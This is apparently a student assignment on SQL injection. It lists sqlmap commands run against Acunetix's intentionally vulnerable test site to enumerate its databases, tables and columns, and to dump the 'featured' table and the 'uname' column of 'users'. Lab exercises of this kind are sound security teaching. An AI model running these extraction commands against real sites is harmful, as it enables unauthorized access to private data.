**SQL INJECTION**

**Assignment 1**

SQL injection is a method of code injection that is capable of gaining information from online databases from vulnerable sites. This is most common method of web hacking, and it requires a malicious code in SQL statement to be injected into a web page input.

Assignment 1 required the use of several SQL injection commands to gain sensitive information from a particular site. Since the information is to be taken discreetly, the selected website to be penetrated is a vulnerable website chosen from ***“Acunetix”*** . The database selected from the website is to be “artists”, and the archive underneath the column’s access is to be gained using injection.

Following are the commands used in the assignments and their application:

1. *sqlmap -u* [*http://testphp.vulnweb.com/artists.php?artist=1*](http://testphp.vulnweb.com/artists.php?artist=1)

The command is used to gain information(vulnerable) using the meta “sqlmap” command which is an automatic SQL injection tool. -u is used to input the URL of the site that is to be tested.

1. *sqlmap -u* [*http://testphp.vulnweb.com/artists.php?artist=1*](http://testphp.vulnweb.com/artists.php?artist=1) *-dbs*

The command is used to find out the database in the given website. The information is displayed in the form of names of the table names that can be further checked out. The details of the tables are still hidden until you use a proper command.

1. *sqlmap -u* [*http://testphp.vulnweb.com/artists.php?artist=1*](http://testphp.vulnweb.com/artists.php?artist=1) *-D acuart –tables*

The above command uses the -D to select the “acuart” database to be opened and checked further using commands. Using the –tables the user is able to check the table content, the details of which are displayed appropriately in columns and rows.

1. *sqlmap -u* [*http://testphp.vulnweb.com/artists.php?artist=1*](http://testphp.vulnweb.com/artists.php?artist=1) *-D acuart -T featured -dump*

*Using the above command, we select the “featured” table using the prefix “-T”. By doing so, the user is able to see the details of the featured table and find the content of the table displayed in the form of rows. These content is then displayed as dump which can be output to another external file.*

1. *sqlmap -u* [*http://testphp.vulnweb.com/artists.php?artist=1*](http://testphp.vulnweb.com/artists.php?artist=1) *-D acuart -T users –columns*

*By using the above command we select the “acuart” database we select “users” table and then seek out the columns in the table using the command “—columns”.*

1. *sqlmap -u* [*http://testphp.vulnweb.com/artists.php?artist=1*](http://testphp.vulnweb.com/artists.php?artist=1) *-D acuart -T users -C uname –dump*

*Using the -C command we select the “uname” column in the “users” table . This allows to see the details of the items in the “uname” column and output the details as dump.*